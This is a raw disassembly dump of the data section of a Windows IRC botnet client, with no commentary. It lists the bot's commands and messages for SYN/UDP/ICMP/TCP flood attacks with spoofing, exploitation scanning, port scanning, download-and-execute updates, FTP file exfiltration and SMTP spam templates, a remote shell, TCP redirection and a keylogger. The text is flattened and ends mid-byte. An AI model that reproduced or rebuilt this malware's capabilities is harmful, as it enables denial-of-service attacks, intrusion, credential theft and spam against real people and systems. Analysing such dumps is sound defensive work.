. db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_434208 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+451Eo dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h dd 7325h dword_434234 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+4513o dd 2029206Ch, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_434274 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+44D3o dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_4342A8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+44BFo dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 10h dword_4342E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+443Ao dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_43430C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+43FFo dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 10h dword_434350 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+43E3o dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_434388 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4361o dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_4343B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4326o dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_4343E8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+42D0o dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_434418 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4268o dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_434440 dd 54524150h, 0D732520h, 0Ah ; sub_40CE55+4AB2o dword_43444C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+41FFo dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+41F1o align 4 dword_434488 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CE55+41C8o dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_4344B8 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CE55+415Do dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_4344E8 dd 45444F4Dh, 732520hdword_4344F0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: sub_40CE55+40D3o dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_434520 dd 4B43494Eh, 732520h ; sub_40CE55+48F9o dword_434528 dd 4E494F4Ah, 20732520h, 7325hdword_434534 dd 54524150h, 732520hdword_43453C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_410E36o dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_434584 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+3FAAo dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40CE55+3F59o align 4 dword_4345B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_410D66o dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_4345E0 dd 25207325h, 73252073h, 73253A20h, 0 ; sub_40CE55+3F84o ... unk_4345F0 db 2 ; DATA XREF: sub_40CE55:loc_410CD5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_434648 db 2 ; DATA XREF: sub_40CE55+3E76o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_434698 db 2 ; DATA XREF: sub_40CE55+3E07o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CE55+3D61o align 4 dword_4346E4 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh ; DATA XREF: sub_40CE55+3D02o dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh dd 732520h unk_434710 db 2 ; DATA XREF: sub_40CE55+3CE9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_434748 db 2 ; DATA XREF: sub_40CE55+3C61o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_434798 db 2 ; DATA XREF: sub_40CE55+3BE7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_4347DC dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CE55:loc_41099Eo ; sub_40CE55:loc_4115A5o dd 29206C1Fh, 0BBBB0220h, 2002h unk_4347FC db 2 ; DATA XREF: sub_40CE55+3B34o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_434834 db 2 ; DATA XREF: sub_40CE55:loc_410967o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_434880 db 2 ; DATA XREF: sub_40CE55+3B08o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_4348CC db 2 ; DATA XREF: sub_40CE55+3A8Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_43490C db 2 ; DATA XREF: sub_40CE55+3A17o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0 unk_434958 db 2 ; DATA XREF: sub_40CE55+39A8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_43499C db 2 ; DATA XREF: sub_40CE55+3920o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_4349E8 db 2 ; DATA XREF: sub_40CE55+38A8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_434A2C dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40CE55+3813o dd 2029206Ch, 2BBBB02h aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_434A78 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40CE55+3799o dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_434AB8 db 2 ; DATA XREF: sub_40CE55+3729o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_434B0C db 2 ; DATA XREF: sub_40CE55+36BAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_434B4C db 2 ; DATA XREF: sub_40CE55+35EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 unk_434BA0 db 2 ; DATA XREF: sub_40CE55+357Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 10h unk_434BF0 db 2 ; DATA XREF: sub_40CE55+34F1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_434C40 db 2 ; DATA XREF: sub_40CE55+3482o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CE55+33FEo align 10h aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CE55+3301o align 10h dword_434CB0 dd 54434101h, 204E4F49h, 17325h ; sub_40CE55+42B1o dword_434CBC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+3214o ; sub_40CE55+4DA6o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0 dword_434D08 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+31A5o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_40CE55+317Ao ; sub_40CE55+4D0Ao align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40CE55+3173o ; sub_40CE55+4D03o align 4 dword_434D94 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+3035o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_20 db ' Failed to start scan, no IP specified.',0 align 10h dword_434DE0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+2EECo ; sub_40CE55+4B52o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dword_434E34 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40CE55+2EBBo dd 2029206Ch, 2BBBB02h aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_434E80 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40CE55+2E4Co dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o align 4 unk_434EF4 db 2 ; DATA XREF: sub_40CE55+2D70o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_434F40 db 2 ; DATA XREF: sub_40CE55+2D05o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_434F9C dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40FABDo dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_434FE8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55+2C5Eo dd 2029206Ch, 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_435034 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55+2BE4o dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40CE55+2BD4o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CE55+2BCDo dword_43508C dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55+2B38o dd 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4350C8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40F8A5o dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_435108 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CE55+2A49o dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CE55+2A32o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CE55+2A1Bo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CE55+29FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CE55+29C6o align 4 dword_435184 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CE55+2948o dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CE55+2925o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CE55+2902o align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CE55+28EBo align 10h unk_4351E0 db 3 ; DATA XREF: sub_40CE55+28AAo db 31h, 35h, 2Ch db 31h ; 1 db 34h, 65h, 6Eh db 7Ah ; z db 31h, 30h, 62h db 20h db 3, 32h, 2Eh db 2Eh ; . db 20h, 3, 31h db 35h ; 5 db 28h, 65h, 6Dh db 61h ; a db 69h, 6Ch, 3 db 32h ; 2 db 2Eh, 3, 31h db 35h ; 5 db 6Dh, 6Fh, 64h db 29h ; ) db 20h, 3, 32h db 0BBh ; » db 3, 31h, 35h aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CE55+2836o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: sub_40CE55+279Ao unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40CE55+274Bo align 10h aUsa db 'usa',0 ; DATA XREF: sub_40CE55+2734o aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CE55+271Do align 4 aPg db 'pg',0 ; DATA XREF: sub_40CE55+2706o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CE55+26EFo align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CE55+26D8o align 4 aPu db 'pu',0 ; DATA XREF: sub_40CE55+26C1o align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CE55+26AAo align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CE55+2693o align 4 aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CE55+2665o align 10h aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CE55+263Co align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40CE55+2625o align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CE55+260Eo align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CE55+25F7o align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CE55+25E0o align 10h aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CE55+25C9o align 10h aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CE55+25B2o align 10h aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo align 4 aD1 db 'd1',0 ; DATA XREF: sub_40CE55+2584o align 4 aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do align 4 aSy1 db 'sy1',0 ; DATA XREF: sub_40CE55+2556o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CE55+253Fo align 10h aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CE55+2528o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CE55+2511o align 10h aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CE55+24FAo align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40CE55+24E3o aClone_make db 'clone.make',0 ; DATA XREF: sub_40CE55+24CCo align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CE55+24A3o aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CE55+248Co align 4 aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CE55+2475o align 4 aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CE55+245Eo align 4 aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CE55+2447o align 10h aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CE55+2430o align 10h aBox_e db 'box.e',0 ; DATA XREF: sub_40CE55+2419o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CE55+2402o aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CE55+23EBo align 4 aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CE55+23D4o align 4 aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CE55+23BDo align 4 aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CE55+23A6o align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CE55+238Fo align 10h aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CE55+2378o align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40CE55+2361o aClone_part db 'clone.part',0 ; DATA XREF: sub_40CE55+234Ao align 10h aClone_j db 'clone.j',0 ; DATA XREF: sub_40CE55+2333o aClone_join db 'clone.join',0 ; DATA XREF: sub_40CE55+231Co align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CE55+2305o align 10h aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CE55+22EEo align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40CE55+22D7o aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CE55+22C0o align 10h aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CE55+22A9o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CE55+2292o align 4 aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CE55+227Bo align 10h aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CE55+2264o align 4 aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CE55+224Do align 4 aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CE55+2236o align 10h aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CE55+221Fo align 4 aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CE55+2208o align 4 aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CE55+21F1o align 4 aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CE55+21DAo aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CE55+21C3o align 10h aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CE55+21ACo align 10h aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CE55+2183o align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CE55+216Co dword_435534 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EF73o dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_435564 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EF6Co dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_435598 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EF24o dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4355C8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+20C8o dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40CE55+203Bo align 4 dword_435604 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EE85o dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_435638 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+2026o dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40CE55+1FBEo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40CE55+1FA3o align 4 aPause db 'pause',0 ; DATA XREF: sub_40CE55+1F70o align 4 aStop db 'stop',0 ; DATA XREF: sub_40CE55+1F58o align 4 dword_43568C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EDA2o dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_4356C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+1F43o dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 dword_4356F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+1EBFo dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: sub_40CE55+1E9Bo unk_43574C db 2 ; DATA XREF: sub_40CE55+1E5Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_24 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_43579C db 2 ; DATA XREF: sub_40CE55+1DEFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4357D0 db 2 ; DATA XREF: sub_40CE55+1D71o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 